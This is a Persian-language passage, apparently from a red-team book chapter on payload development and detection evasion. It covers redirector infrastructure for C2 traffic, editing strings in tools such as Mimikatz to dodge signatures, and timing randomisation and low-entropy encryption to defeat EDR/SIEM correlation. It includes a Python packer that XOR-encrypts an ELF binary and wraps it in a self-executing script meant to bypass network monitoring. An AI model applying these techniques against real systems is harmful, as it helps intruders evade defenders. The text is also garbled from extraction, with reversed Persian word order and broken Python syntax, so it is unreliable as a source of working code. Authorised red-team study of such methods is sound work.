 به  TLS طریق از  را  هاپیام  کنیممی توصممممیه ما  بنویسممممد؛  دیسممممک  روی را هاگزارش نباید گزارش  کنندهثبت  آل،ایده حالت

 نداشمته نیاز ردیابی سمطح در  گزارش  ثبت به چیز همه  برای  اسمت ممکن.  کنید  ارسمال شمما  syslog سمرور یک یا  کنسمول

  شموند می  اجرا main  تابع  از خارج که  هاییروال ردیابی یا  کنندهمدیریت  طریق  از  اسمتثناها گرفتن  برای  تواندمی اما باشمید،

 .دهدمی نشان را پایتون در تابع سطح در گزارش ثبت از مثال یک 4-1 فهرست. باشد  مفید

/!#usr/bin/env python3 

import logging, logging.handlers 

 #Constructors 
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logger = logging.getLogger(__name__) 

syslog_handler = logging.handlers.SysLogHandler(address=(′127.0.0.1′, 514)) 

formatter = logging.Formatter(′%(name)s: %(levelname)s %(message)s′) 

syslog_handler.setFormatter(formatter) 

def myfunction:)( 

print(′hello foo′) 

MY_VAR = 2 + 2 

 #Write to local file if you want buffer. 

logging.basicConfig(filename=′myapp.log′, level=logging.INFO) 

logger.info(MY_VAR) 

 #Write to syslog instead. 

logger.addHandler(syslog_handler) 

logger.info(MY_VAR) 

 #Main function 

if __name__ == ′__main:′__ 

myfunction)( 

exit)( 

 syslog از استفاده با دور  راه از یا محلی صورتبه تابع هایخروجی ثبت: 4-1 فهرست

 آزمایش tcpdump از اسممتفاده با محلی  صممورتبه و  کنید کپی را کد بتوانید تا کردیم حذف را  TLS پوشممش  یک  عمدا   ما

 .است شده داده نشان 5-1 فهرست در که طورهمان  کنید،

tcpdump: listening on lo0, link-type NULL (BSD loopback), snapshot length 524288 bytes 

11.794231:25:16 IP (tos 0x0, ttl 64, id 39731, offset 0, flags [none], proto UDP (17,) 
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length 49, bad cksum 0 (->e186))! 

127.0.0.1.55611  >127.0.0.1.514 : SYSLOG, length: 21 

Facility user (1), Severity info  (6)  

Msg: __main__: INFO 4@^ 

0x0000: 4500 0031 9b33 0000 4011 0000 7f00 0001 E..1.3.......@.. 

0x0010: 7f00 0001 d93b 0202 001d fe30 3c31 343e .....;.....0<14> 

0x0020: 5f5f 6d61 696e 5f5f 3a20 494e 464f 2034 __main__:.INFO.4 

0x0030: 00   .  

 loopback رابط روی syslog tcpdump پیام خروجی: 5-1 فهرست

  پورت  به  شمممدهارسمممال  syslog پیام یک و دهد،می گوش loopback رابط روی tcpdump دهدمی نشمممان خروجی  این

 .ASCII و هگز بسته  نمایش دو هر با کند،می ثبت را استاندارد

 در بخواهید اسمممت  ممکن که زیرسممماختی به  را خود توجه ایم،کرده  ایجاد را برنامه  توسمممعه  هایشمممیوه  بهترین  این که حالا

engagement کنیممی  معطوف کنید بندیلایه خود. 

 مسیر  تغییر  زیرساخت طراحی 
  پذیری، انعطاف کاری،پنهان تا  دارد اشماره—حملات مبدأ و  beaconing C2  مانند—هافعالیت  کردن  پنهان  به  مسمیر  تغییر

  تغییر  سمازیپیاده برای  ایپایه خارجی  زیرسماخت.  دهد  افزایش  را افتاده خطر  به  هایسمیسمتم ناوبری  در  شمما  مانورپذیری و

 از  محمدودی تعمداد داشمممممتن  ماننمد) بار  طراحی  هایمحمدودیت وجود با دهدمی اجازه  سمممممیسمممممتم به و  کنمد،می  فراهم  مسمممممیر

 .بماند پنهان و  پذیرانعطاف(  کنید تنظیم خود مجدد استفاده قابل بار با  توانیدمی که  پارامترهایی یا  هاپیکربندی

 خواهیممی که  است  دلیل  این  به نیست،  اصلی استفاده  مورد  طراحی  از بخشی مسیر تغییر زیرساخت  چرا کنیدمی  تعجب  اگر

 که  امنیتی هایتیم.  کنیم حفظ( IOA) حمله  هایشمماخص جایبه(  IOC)  سممازش  پایه  هایشمماخص  تغییر با را  بودن  ماژولار

. کنند مسمممدود را ایمیل خدمات گاهی و ،IP  هایآدرس متخلف،  هایدامنه اسمممت ممکن دهندمی تشمممخیص را عجیب فعالیت

 .شودمی ضروری مسیر  تغییر که  اینجاست

 برای مطلب؛ این نوشممتن زمان  در  Webhook Test (https://webhook-test.com  از 3-1 فهرسممت  از  C2 مثال

 شمما زیرسماخت برای بالقوه سمرویس  دهندهارائه  یک  عنوانبه(  کنید بازدید  https://webhook.site  از اختیاری  دمو یک
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 اعتبارکم سممممایت یک عنوانبه را Webhook Test مطلب این نوشممممتن زمان در  VirusTotal اگر حتی. کرد اسممممتفاده

 :دارد مشکل چند نکرد،  بندیطبقه

 .است دسترسی کنترل بدون  عمومی سرویس یک این •

 .کنند مسدود را URL یا دامنه راحتیبه  توانندمی  امنیتی هایتیم •

 .دهید  تغییر و بچرخانید را خود کنترل تحت هایشاخص راحتیبه  توانیدنمی •

 با.  کنند  کمک  هاآن تشممممخیص هنگام شممممما  ارتباطات  در آبی هایتیم  فوری اختلال احتمال کاهش به  توانندمی گزینه چندین

 با را  خود  اتصمالات توانیدمی دهید،  ادامه  TCP 443 پورت روی TLS با شمدهپوشمیده اتصمال یک از اسمتفاده  به  اینکه  فرض

.  کنید جلوبندی  Google Cloud Platform یا AWS  مانند( CSP)  محبوب  ابری سممممرویس  دهندهارائه  یک  از اسممممتفاده

 برای  ،Akamai  یما  Cloudflare  مماننمد  ،(CDN)  محتوا  تحویمل  شمممممبکمه  دهنمدهارائمه  یمک  از  توانیمدمی  جمایگزین،  طوربمه

  یک  تا  کنید  ترکیب  را  CSP و CDN یک  توانیدمی حتی.  کنید اسمممتفاده گام  اولین  عنوانبه خود اتصمممالات  کردن  پروکسمممی

  ترکیب  CSP خدمات با  را هاCDN  توانیدمی چگونه  دهدمی  نشمان  3-1 شمکل.  کنید  اضمافه  مدافعان برای دیگر  تحقیق لایه

 .کنید API-REST بر  مبتنی بیشتر را خود C2 تا  کنید

 

 هیچ بنابراین کند،می ایجاد شمبکه یا میزبان روی قانونی پزشمکی مصمنوع یک شمما بار اجرای هر که باشمید  داشمته  خاطر به

 اسممت، محدود شممما engagement  زمان.  ندارد وجود  انگیزه با  قانونی پزشممکی  محقق یک کامل کردن خنثی برای  راهی

 .است نهایی مشتری واقعی دفاعی هایقابلیت با شما  کاریپنهان رویکرد  تطبیق کار کلید  بنابراین

 دامنه نام یک اسمت  ممکن  دارد،( NGFW) بعدی  نسمل  فایروال یا وب  پروکسمی  ضمعیف هایقابلیت  مشمتری  اگر مثال، برای

 برای  همادامنمه چون کنیمد،  انتخماب  IP آدرس یمک  جمایبمه خود  IOC callback  عنوانبمه  را( FQDN)  شمممممرایط  واجمد  کماملا  

 دفعاتی تعداد مقابل در  را مشمتری  امنیتی  پایش  پیچیدگی مسمیر،  تغییر  سمطح طراحی هنگام. شموندمی مسمدود ترسمخت  مدافعان

 از  الزاممات  مماتریس  داریمد،  مشمممممکمل درسمممممت تعمادل یمافتن در  اگر. کنیمد وزن  کرد خواهیمد اسمممممتفماده  دوبماره  را  خود بمار کمه

 .کنید مرور دوباره را 4 صفحه در «الزامات آوریجمع و استحکام»

 شما زیرساخت سازیایمن
 یا  مسمیر  تغییر از اینکه  از نظرصمرف.  نکنیم  عمل  کنیممی موعظه که  را  آنچه اگر بود  نخواهیم  عالی  امنیت متخصمصمان ما

 شممامل این مثال، برای  ،CDN  سممناریوی  در.  کنید  ایمن سممازمان  یک  مانند  را  آن باید  کنید،می  اسممتفاده  مسممتقیم  زیرسمماخت
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 کنترل  کمه ایدامنمه هماینمام  برای  کننمدهثبمت  امنیمت  از  اسمممممتفماده  و  ورود  برای(  MFA)  چنمدعماملی  هویمت  احراز  کردن الزامی

 .است نشده تمام هنوز حال، این با. است شدن ربوده از جلوگیری برای  کنیدمی

  احراز باید  کنید،می  اسممتفاده AWS API Gateway یا  AWS Lambda  مانند  اضممافی  مسممیر  تغییر سمماخت  یک  از اگر

  سممازی پیاده برنامه لایه  در اسممرار یا هاگواهی  از اسممتفاده  با  لبه  سمموساسممتفاده  از  جلوگیری  برای  نیز  را  کلاینت  سمممت  هویت

 مبدأ هایدرخواسمت  کردن محدود با خود  AWS در  شمدهمیزبانی  هایکنندهمدیریت به CDN  زدن  دور از باید همچنین.  کنید

 .کنید جلوگیری بیایند شما CDN از فقط که طوری

 :کنید سازیپیاده خود زیرساخت پیکربندی و خود بار توسعه هنگام را زیر سازیسخت اقدامات حداقل،

 .کنید الزامی را  کلاینت هویت احراز •

 .کنید ایمن را شدهداده  تغییرمسیر شدهمیزبانی ورودهای برای امن مجوزهای و هویت احراز •

 .استراحت حال در و انتقال حال در—کنید فعال جاهمه را رمزنگاری •

 .کنید ایجاد خود زیرساخت کردن نابود و سریع کردن خاموش برای  «نابودکننده»  اسکریپت یک •

 .برسانید حداقل به را اجرا زمان مجوزهای •

  نیسممت  کافی دیگر  نهایی  هدف(  NAT) شممبکه  شممدهترجمه آدرس  فضمماهای از( ACL) دسممترسممی کنترل هایلیسممت بر  تکیه

  توانند می IPv6 و  IPv4  برای محل  در( CIDR)  کلاس  بدون دامنهبین  مسمیریابی هایبلوک.  مدرن هایشمبکه  مقیاس  دلیلبه

 شمامل  را  شمرکت یک ابری ردپای  که دهیدمی انجام  یengagement اگر. برسمند  هزار هاده  به  هاشمرکت  از  بسمیاری  در

 وقت. کرد متصمممل خاص مشمممتری منابع به اعتماد قابل طوربه تواننمی که هسمممتند پویا قدریبه IP  هایآدرس شمممود،می

 .بسازید شبکه بر مبتنی ابزار هر در را هویت احراز و کنید ترسخت را خود  زیرساخت تا بگذارید

 اجرا زمان الزامات
 و  افزارنرم  چه  احتمالا    شمممما  هدف هایمیزبان و  شمممبکه که کنید  تعیین  باید  خود،  سمممازینمونه و  اولیه طراحی  ادامه هنگام

  متمرکز   کلاینت  سمممت برداریبهره بر اسممت  ممکن شممما،  engagement محدوده به  بسممته.  دارند دسممترس  در  هاییقابلیت

 بزرگ باینری فایل یک از اسمت بعید stager یک صمورت  آن در  که اسمت،  حداقلی  سمازیصمحنه بار  یک  نیازمند  که شموید

 از  اسممتفاده با هسممتند  خطییک  اولیه مراحل  از بسممیاری  که اسممت  دلیل همین به  فضمما یا  اندازه  هایمحدودیت. کند  پشممتیبانی

  موتورهای   یا( دارند وجود  سمممممیسمممممتم روی  قبمل از که  سمممممیسمممممتمی ابزارهای—LOLBins) زمین در زندگی  هایباینری

 .Windows برای PowerShell مانند  بومی  نویسیاسکریپت

 طول  در  اسمت ممکن صمورت آن  در که  دهند، اجازه  را  سمازیمبهم شمامل ترقوی بار  یک اسمت ممکن  آزمایشمی موارد سمایر

 تصمور و باشمید داشمته  ذهن  در را نهایی حالت همیشمه.  کنید انتخاب امضماشمده و شمدهبندیبسمته  شمدهکامپایل  باینری  یک توسمعه
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 پردازش اسممتثنا،  مدیریت بر  تمرکز حین  در که اسممت  آسممان.  رفت خواهد پیش  چگونه احتمالا   برداریبهره از پس  اجرا  کنید

 .بدهید دست از را اجرا زمان الزامات ،engagement پیشبرد برای فرمان اجرای و توابع،

 همدف  محیط  بمار  اجرای  نیمازهمای  بر  بتوانیم  تما  ایمگنجمانمده  خود  ریزیبرنماممه  همایبخش  اوایمل  در  را  ملاحظمات  این  عممدا    مما

 کدام  که  دارد  بسممتگی  این به  انتخاب.  بنویسممید  نویسممیبرنامه  زبان هر به  را بارها  توانیدمی  موارد،  بیشممتر در. کنیم  تمرکز

 با را بارها  همه  نیسممتید  مجبور.  دارد جداگانه مفسممر  یک نصممب به نیاز کد  اجرای آیا و  کنید اسممتفاده  توانیدمی  را  هاکتابخانه

 .کنید استفاده کار برای درست ابزار از—دهید توسعه زبان همان

 قبل  را  هاآن بار  یک وقت چند  که اسممممت  این  کنیدمی ایجاد بلندمدت  یا  engagement  خاص بارهای آیا  کندمی  تعیین  آنچه

 به کمک برای را نویسممیبرنامه زبان چندین  3-1 جدول. بخشممیدمی  بهبود و نگهداری، اسممتفاده، دوباره  شممدن  منسمموخ  از

 .کندمی مقایسه شما  توسعه هایانتخاب هدایت

 نویسیبرنامه هایزبان مقایسه: 3-1 جدول
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 که  کنید انتخاب را هاییگزینه  بلندمدت،  مجدد اسممممتفاده  قابلیت معمول عوامل و  engagement  متغیر نیازهای اسمممماس بر

 و Go  از عمدتا   ما  کتاب، این  سمراسمر در. کنند  ترکیب شمما تیم برای توسمعه سمنجیامکان با  را  نهایی  هدف در  اجرا سمهولت

Python 3.x ارائه زبان دو  هر که ایگسمترده پذیریانعطاف و  پشمتیبانی  دلیلبه کرد خواهیم اسمتفاده  خود اسمتفاده موارد در  

  آن با که چیزی هر  از.  کنید اسمتفاده هازبان  این  از فقط که  نکنید اجبار احسماس  حال،  این  با  خود، بار  توسمعه هنگام. دهندمی

 .کنید  منتقل خود تیم  کمک با بعدا   را کد بگیرید نظر در  سپس، کنید؛ استفاده ابتدا نتایج به رسیدن برای هستید ترراحت
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 توسعه   و  ابزار اصلاح بین  انتخاب
 عمل بقیه  از  بهتر  فرار در برخی و هسمتند،  دسمترس  در آنلاین صمورتبه قبل  از برداریبهره  از  پس  ابزارهای  از  بسمیاری

 در  ،Nishang  ممجممممموعمممه  و  ،Metasploit،  Mimikatz  چمممارچموب  ممممانمنمممد  ممعممروف،  همممایحممملراه.  کمنممنمممدممی

engagementاعتماد مورد گسمترده طوربه و شمدهشمناخته  هاآن  که دلایلی همان به اما. کنندمی عمل خوب آزمایشمی  های 

 هایتیم اسمت، بوده عموم  معرض  در  بیشمتر  ابزار  یک  چه هر. شموندمی  داده تشمخیص ترراحت  نیز  مدافعان  توسمط هسمتند،

 .اندداشته آن تشخیص  نحوه یادگیری برای بیشتری زمان  مهندسی

 خاص،  IP  هایآدرس یا هادامنه  فرد،منحصمربه هایرشمته  جمله  از  اتمی نشمانگرهای  معمولا   شمما اصملاح، رویکرد  یک  در

  تشمخیص  تا  کنید مجدد  بندیبسمته  اضمافی  تصمادفی  داده  با  را  ابزار  توانیدمی  همچنین.  دهیدمی  تغییر  را  فراداده هایویژگی و

  مسمتقرشمده  یا  شمدهتنظیم ضمعیف  امنیتی  هایحلراه از بسمیاری برای  توانندمی هاروش  این. شمود  دشموارتر انتقال حین  در  آن

 بار  ماشممممین یادگیری بر  مبتنی و اکتشممممافی  هایحلراه.  کرد  نخواهند  فرار تشممممخیص از  طولانی مدت  برای اما  کنند، کار

 .باشد کمتر یا دقیقه چند فقط تواندمی اما دارد بستگی محیط به دقیق زمان مدت. داد خواهند تشخیص سرعتبه را اجراشده

 یک اجرای  خروجی  شموند،  اصملاح  بالقوه طوربه و کشمف توانندمی فردمنحصمربه هایرشمته چگونه  اینکه  دادن نشمان برای

 فهرست در که طورهمان بگیرید، نظر در را اعتبارنامه،  تخلیه  محبوب ابزار یک ،Mimikatz  علیه strings ساده  فرمان

 .است شده داده نشان 1-6

 %strings -a mimikatz.exe | grep -i ′benj′ 

%Open Source Developer, Benjamin Delpy1&0$ 

benjamin@gentilkiwi.com0 

 Mimikatz ابزار نویسنده برای strings خروجی: 6-1 فهرست

 که  فردمنحصممربه  شممناسممایی قابل هایرشممته  اصمملی  هاینمونه—کندمی آشممکار  را  نویسممنده ایمیل آدرس و نام فرمان  این

 .شوند اصلاح پایه تشخیص از فرار برای  توانندمی

. اسممت ابری شممدهمدیریت یا شممدهفعال  هایحلراه از اسممتفاده  افزایش از ناشممی  حدودی تا  تشممخیص  سممرعت در اخیر  افزایش

 که اسمت،  Microsoft Defender و CrowdStrike  مانند(  EDR)  پایانی نقطه پاسمخ و  تشمخیص  ابزارهای شمامل هامثال

 زمان طول  در پایه فعالیت برابر در رفتار  گیریاندازه برای  را  اکتشمافات سمایر و ماشمین، یادگیری  تهدید،  اطلاعات  معمولا  

  ایآسممتانه به تا  دهدمی افزایش  را  امنیتی سممیسممتم یک خطر  امتیاز مخرب کد  اجرای  برای  مکرر هایتلاش.  کنندمی  ترکیب

 خاص، متنی امضاهای نه است متکی مشکوک رفتاری الگوهای بر تشخیص این. کند فعال را هشدار یک که برسد

 اسمممت  شمممده اصممملاح  هاآن  کد که زمانی حتی را تهدیدها  تواندمی  که  کندمی ایجاد  مقیاسکوچک  همبسمممتگی  سمممیسمممتم یک و

 .کند  شناسایی

  نزدیک  فقط  را کار این کنید، اصممملاح  engagement زمان سمممازیبهینه برای  را موجود بار  یک  گیریدمی تصممممیم اگر

 هسمممتید مدتکوتاه اهداف به رسمممیدن برای  هاآن  «سممموزاندن» به مایل که  هاییدارایی روی یا خود  engagement پایان

 .دهید انجام

 الگوهای و قانونی  پزشممکی مصممنوعات بر  بیشممتری  کنترل  ابتدا از بارها  ایجاد باشممید، زده حدس اسممت ممکن که طورهمان

  سمناریو  هر برای سمفارشمی  کاملا   بارهای سماختن  حال، این با.  دهدمی  کاهش  را  تشمخیص احتمال و  دهد،می  شمما به  رفتاری
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:  کندمی متعادل  توسمممعه کارایی با  را سمممازیسمممفارشمممی  سممموم گزینه یک  خوشمممبختانه،. باشمممد  ناکارآمد و  برزمان  تواندمی

 .ایچندمرحله هایساخت

 ایچندمرحله  هایساخت مزایای
 به ما اینجا، تا.  کنید سمممازیپیاده  را جدید بارهای  توانیدمی سمممریع چقدر  که  کندمی  تعیین ماژولار  توسمممعه  در شمممما  توانایی

 بیشمممممتر را مفهوم این اگر امما. ایمپرداختمه واحمد بمار یمک  درون  توابع  بمه مجمدد  اسمممممتفماده  قمابمل کمد  کردن  جمدا بما بودن مماژولار

 برای  که  اید،داده  توسممعه پایتون در  را خود(  دوام قابل  محصممول  حداقل)  MVP  کنید  فرض مثال، برای  چه؟ دهیم گسممترش

 که  اسممت  شممدهرمزگذاری بار  یک  نیازمند  فعلی engagement  حال،  این  با. کندمی کار خوب  هاengagement  بیشممتر

 .کند عمل TLS یا SSH یافتهخاتمه پایش با ایشبکه روی

 بدون  الزامات این  کردن برآورده برای ثال  شمممخص خدمات  از  اسمممتفاده اسمممت  ممکن شمممما غریزه اولین.  دارید گزینه چند

 زمان  در که  جدیدی کدهایقطعه با  را  آن  توانیدمی باشمد، ماژولار کافی  قدربه کد اگر جایگزین، طوربه.  باشمد کد  بازنویسمی

 تواندمی رویکرد این حال،  این با. دهید گسممترش شمموندمی  فراخوانی  اضممافی پارامترهای یا هاآرگومان  از اسممتفاده با  اجرا

 .کند پشتیبانی خاص engagement این از فقط و باشد برزمان

 کمد  دهنمدمی  اجمازه  شممممممما  بمه ایچنمدمرحلمه  همایسممممماخمت.  بپیچمد  موجود  بمار  دور  تما دهیمد  توسمممممعمه  packer  یمک عوض، در

 یک در  را  گسمممترده قابلیت که حالی در—کنید اجتناب جدید خطاهای  از و—دارید نگه  نخوردهدسمممت  را خود شمممدهآزموده

 بدون  را  رمزنگاری  هم و رمزگذاری  الزامات هم  همچنین رویکرد  این.  کنیدمی  سمممازیپیاده «بیرونی»  شمممدهپیچیده  باینری

 .کندمی برآورده  بازنویسی هیچ به نیاز

Packerطورهمان را بار مورد چندین توانیدمی. دهندمی  ارائه  فرار برای رمزنگاری یا سممازیفشممرده  از  بیشممتر  بسممیار  ها 

 main تابع عنوانبه خود شمدهپیچیده باینری از اسمتفاده با را اجرا ترتیب و بگنجانید، اسمت شمده داده نشمان 4-1 شمکل  در که

 را ایسمتا تحلیل ذاتا   و کندمی باز حمله  الگوی  شمدهتسمریع سمازیسمفارشمی برای  بیشمتری  بسمیار  هایفرصمت این. کنید  هماهنگ

 .کندمی دشوارتر مدافعان برای

 

 دوم شدهسازی صحنه بار یک در هاآن بندیبسته و استفاده مورد  چندین سازیصحنه : 4-1 شکل
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Packer  هایفایل برای پایتون  بر  مبتنی  Executable and Linkable Format (ELF)  این  7-1 فهرسممت  در  لینوکس 

 .دهدمی نشان عمل در را رویکرد

/!#usr/bin/env python3 

import zlib 

import argparse 

import os 

import sys 

XOR_KEY = 0x42 # You can change this XOR key as needed. 

 #XOR lets us encrypt directly on byte data types. 

def xor_cipher(data): 

return bytes([b ^ XOR_KEY for b in data]) # Python bitwise operations 

 #A packer doesn′t have to have encryption enabled; compression alone will work. 

def packbin(filename): 

with open(filename, ′rb′) as file_handle: 

blob = file_handle.read)( 

compressed_blob = zlib.compress(blob) 

ciphered_blob = xor_cipher(compressed_blob) 

print(f′zlib compress and XOR cipher complete for: {filename}′) 

return ciphered_blob 

 #Create a skeleton wrapper for the payload that self-executes the ELF from the payload 

 #as a XOR cipher, decrypts itself using the same key, decompresses itself, and uses the 

 #tempfile library to self-execute. 

def create_self_extracting_script(ciphered_data, output_filename): 

script = f″″″#!/usr/bin/env python3 

import zlib 

import os 
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import sys 

import tempfile 

XOR_KEY = {XOR_KEY} 

CIPHERED_DATA = {ciphered_data} 

def xor_decipher(data): 

return bytes([b ^ XOR_KEY for b in data]) 

if __name__ == ″__main:″__ 

deciphered_data = xor_decipher(CIPHERED_DATA) 

original_data = zlib.decompress(deciphered_data) 

with tempfile.NamedTemporaryFile(delete=False, mode=′wb′) as temp_file: 

temp_file.write(original_data) 

temp_filename = temp_file.name 

os.chmod(temp_filename, 0o755) # Make the file executable 

os.execl(temp_filename, temp_filename, *sys.argv[1:]) 

″″″ 

with open(output_filename, ′w′) as f: 

f.write(script) 

os.chmod(output_filename, 0o755) # Make the output script executable 

print(f″Self-extracting script created: {output_filename}″) 

print(f″Run it with: ./{output_filename}″) 

if __name__ == ″__main:″__ 

parser = argparse.ArgumentParser( 

prog=′rwpypack,′ 

description=′Test Linux ELF binary packer in Python 3.x,′ 

epilog=′github.com/dc401 /)′  

parser.add_argument(′-f,′ 
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′-- file,′ 

type=str, 

required=True, 

help=′Path to the file to be processed)′ 

parser.add_argument(′-o,′ 

′-- output,′ 

type=str, 

required=True, 

help=′Output filename for the self-extracting script)′ 

args = parser.parse_args)( 

ciphered_data = packbin(args.file) 

print(f″Ciphered data size: {len(ciphered_data)} bytes″) 

create_self_extracting_script(ciphered_data, args.output) 

 پایتون در پیچیدن و ELF هایباینری دریافت برای packer یک: 7-1 فهرست

  پیچد می  پایتون  اسمکریپت یک در  را  آن و  کندمی  رمزگذاری ورودی  عنوانبه  را  شمما  اصملی ELF بر  مبتنی  باینری کد  این

 و  کند،می  مدیریت  را  سمازیفشمرده  هم و(  XOR cipher) رمزگذاری  هم  Wrapper.  شمودمی  تبدیل  جدید  اجراکننده  به که

 شمبکه پایش از تواندمی حلراه این. کندمی برآورده  اصملی بار  اصملاح بدون  را  engagement شمدهرمزگذاری  قالب  الزام

 قالب. پایتون شممدهرمزگذاری بارهای نه  کنندمی تحلیل  را خام هایباینری نفوذ  تشممخیص  هایسممیسممتم  بیشممتر چون کند  فرار

 در کند، عبور  هشمدارها  کردن فعال بدون  SSH/TLS  یافتهخاتمه پایش از  دهدمی اجازه شمما  اجرایی فایل  به شمدهرمزگذاری

 .کندمی مدیریت را اجرا و تبدیل مراحل تمام  پایتون wrapper که حالی

 خلاصه 
 ماژولار الزامات، ریزیبرنامه شممامل  دادیم، پوشممش را  قرمز هایتیم برای  ضممروری توسممعه  مفهوم چندین  فصممل، این  در

 ابزار  به  مدتکوتاه بارهای  از شممما  تمرکز  تغییر به هاشممیوه  این. گزارش  ثبت و نحوی،  قراردادهای اسممتثنا،  مدیریت بودن،

 برای—شمممودمی  نامیده  مسمممیر  تغییر  که—خارجی  زیرسممماخت بندیلایه  همچنین ما.  کنندمی  کمک نگهداری  قابل  بلندمدت

 مختلف هایروش نهایت، در. کردیم بح  را هدف ترافیک با  شمدن مخلوط و ورودی یا خروجی  اتصمالات کردن پروکسمی

  ایچندمرحله  سماخت هایگزینه و  سمفارشمی، توسمعه  مقابل  در ابزار اصملاح  کدنویسمی،  زبان چندین  مقایسمه با را بارها  تطبیق

 .کنید تقویت بار از مجدد استفاده برای را خود کلی فرار استراتژی کندمی کمک شما به دانش این ادغام. کردیم بررسی
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 های فرار استراتژی  2
 

 را  خود  تحویل و شمممممارش هایفعالیت بندیزمان  توانیدمی  ،SIEM یا  تحلیلگر یک  توسممممط  همبسممممتگی خطر کاهش برای

  های شمیفت  در خود برداریبهره  اجرای و  معمول کاری  سماعات  در  شممارش—خود نشمانگر بندیزمان  تغییر. کنید  ترکشمیده

 .کند خنثی دارند شما  هایفعالیت همبستگی در سعی که را تشخیص هایتیم و تحلیلگران تواندمی—اسکلتی خدمه

 اگر. بسممازید خود  ابزار  در را قابلیت  آن  باید همچنین.  نیسممت کافی شممما  کمپین عملیاتی بندیزمان تغییر صممرفا    حال، این با

SIEMکننمد،می  عممل  ایدقیقمه  60  تما  15  همایبمازه  در  هما  EDRمثمال،  برای.  کننمدمی  عممل  دقیقمه  تما  ثمانیمه  در  معمولا    هما 

Microsoft Defender for Endpoint ناشممناخته  هایباینری  کردن مسممدود  برای ایثانیه  10 فرضپیش سممیاسممت  یک 

 بممما  شممممممممممما(.  https://learn.microsoft.com/en-us/defender-endpoint/respond-file-alerts)  دارد

 به  را سماعت  هدف، سمازمان سمیاسمت  تنظیم و  تشمخیص، مهندسمی  سمازیبهینه فروشمنده، هایقابلیت درباره آگاهانه  هایحدس

 .رانیدمی عقب

 هاsandbox  در را  اضمممافی ناشمممناخته رفتار  هر  نگرگذشمممته  صمممورتبه ابر بر  مبتنی  هایSIEM و  هاEDR  از بسمممیاری

 تحلیل اسماس بر خطر ارزیابی یک  سمپس و  کنندمی  جسمتجو سماعته  سمه تا  یک محدود پنجره  یک  در و  کنند،می  همبسمتگی

  باید  کند،می فعال  را شمدهگذاریعلامت عملیات  یک  حداقل  شمما بار  که  هسمتید  مشمکوک اگر.  گردانندبرمی انسمانی و خودکار

 بقیه انداختن خطر  به از جلوگیری برای جانبی حرکت و خود  ابزار  هایTTP  تنظیم برای  کمتر یا سممماعت چهار  کنید  فرض

 .دارید  کمپین

 به مربوط سممازیتصممادفی. کنید اضممافه  را  ابزار سممازیتصممادفی باید کردید، ایجاد  را خود  آلایده عملیاتی ریتم که  هنگامی

 برای. کندمی دشموارتر  هاSIEM و  EDR برای  را  پایانی نقطه هایفعالیت و ترافیک برای مناسمب پایه خط ایجاد بندیزمان

  همبسمممتگی   ایدقیقه  60 عقب به  نگاه  پنجره یک با  ایدقیقه  15 هایبازه در  معمولا   هدف تشمممخیص هایسمممیسمممتم اگر مثال،

 درسمممت محدوده این. کنید  تنظیم دقیقه  77 و  16 بین  را خود عملیاتی هایبازه  اسمممتراتژیک صمممورتبه  توانیدمی  کنند،می

  نیازمند  ابزار مؤثر  سمممازیتصمممادفی.  کندمی  پیچیده  را  همبسمممتگی و گیرد،می  قرار  عادی تشمممخیص  پارامترهای  از خارج

seeding است شده داده نشان 1-2 فهرست در که طورهمان شماست، سازیتصادفی تابع  مناسب. 

import time, os, random 
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 #Example seeding for pseudorandom number generator 

seed = int(time.time() * 1000) ^ os.getpid)( 

random.seed(seed) 

number = random.randint (16  ,77)  

print(number) 

 تصادفی  عدد  تولید برای پویا seeding: 1-2 فهرست

  های پنجره  و ناهمزمان  حالت  ردیابی  باید ایمپلنت،  beaconing مانند  رویدادها،  بین  طولانی  هایبازه  گرفتن  نظر  در  هنگام

  اجرا زمان  در را  شممدهترتیب  بارهای  توانیدمی خود، نظر مورد  فرار زمان و  پایداری به بسممته.  بگیرید نظر  در را ارتباطی

 .کنید بندیدسته رویدادها بین  مناسب  هایپنجره با

 یک از بخشمممی تنها هاآن کنند،می کمک همبسمممتگی بر مبتنی تشمممخیص از فرار به بندیزمان هایاسمممتراتژی که حالی  در

 .شوید مخلوط هدف  محیط با باید تشخیص، خطر  بیشتر کاهش برای. هستند  جامع رویکرد

 آنتروپی کم رمزنگاری از استفاده
  معمول  ایسمتای  نشمانگرهای  شمامل  اولی. شموندمی  تقسمیم دسمته دو  به  عموما   هاتشمخیص دهند،می رخ که جایی  از نظرصمرف

 امتیاز رویدادها توالی  آن  در که  اسمت، رفتار بر  مبتنی دومی. باشمد جسمتجو  قابل  رشمته  یک  عنوانبه که چیزی  هر—اسمت

 حد از بیش چون خورندمی شکست قرمز تیم ابزارهای  از  بسمیاری متأسمفانه،.  دهدمی افزایش پایه عملیات  از فراتر  را خطر

 .هستند  متمرکز( کامل بودن تصادفی) واقعی آنتروپی با عملیات اجرای یا  نشانگرها پوشاندن بر

  مانند )  شممدهشممناخته رمزگذاری  اسممتانداردهای و  آنتروپی بالای  سممطوح فعال طوربه  هاSIEM برخی و  هاEDR  از  بسممیاری

Base64،  ،توانند می سمممازینرمال هایماژول و پردازشمممگرهاپیش.  کنندمی اسمممکن  را( قوی رمزنگاری و هگزادسمممیمال  

  بهتر،  شمدن مخلوط  برای.  کنند گذاریعلامت اسمت  شمدهرمزنگاری بار یک و رمزگذاری شمامل وقتی  را  شمما  ابزار راحتیبه

 نگه 4 و  1 بین را  میانگین شمانون  آنتروپی  مقیاس مقادیر که  دهید  تغییر طوری  را خود ایسمتای نشمانگرهای  بگیرید  نظر  در

  بالا  آنتروپی مقدار بر  مبتنی تشمخیص کردن  فعال برای  را  شمما شمانس  کار  این انجام(. اسمت  متغیر 8 تا  1  از  مقیاس)  دارند

 .دهدمی کاهش

  فرار قرمز تیم هایفعالیت  بیشممممتر. سمممموزدمی  کمپین طول  در  نهایت  در  شممممما بار یا برداریبهره  کنید  فرض باید  همیشممممه

  قدربه  قانونی پزشممکی تحلیل کردن  دشمموار نگران عمدتا   شممما  بنابراین دهند،می ترجیح ملت-دولت پایداری بر را  مدتکوتاه

  رمزنگاری  و هگزادسممیمال، ،Base64 از  نباید  اگر اما.  هسممتید—بعدی  احتمالا    و—فعلی  کمپین در ماندن زنده  برای کافی

 کنید؟ استفاده باید چیزی چه از کنید، استفاده قوی

  موفق   سماده  جایگزینی رمز  یک و  چرخشمی متقارن کلید یک از اسمتفاده با  خودمان ترضمعیف  رمزنگاری سمیسمتم  ایجاد در ما

 از بسمیاری  کندمی تقلید  شمانون آنتروپی  مقیاس در  را  انسمانی  زبان  سمطوح که رمزنگاری  نظر  از ضمعیف رمز  یک. ایمبوده

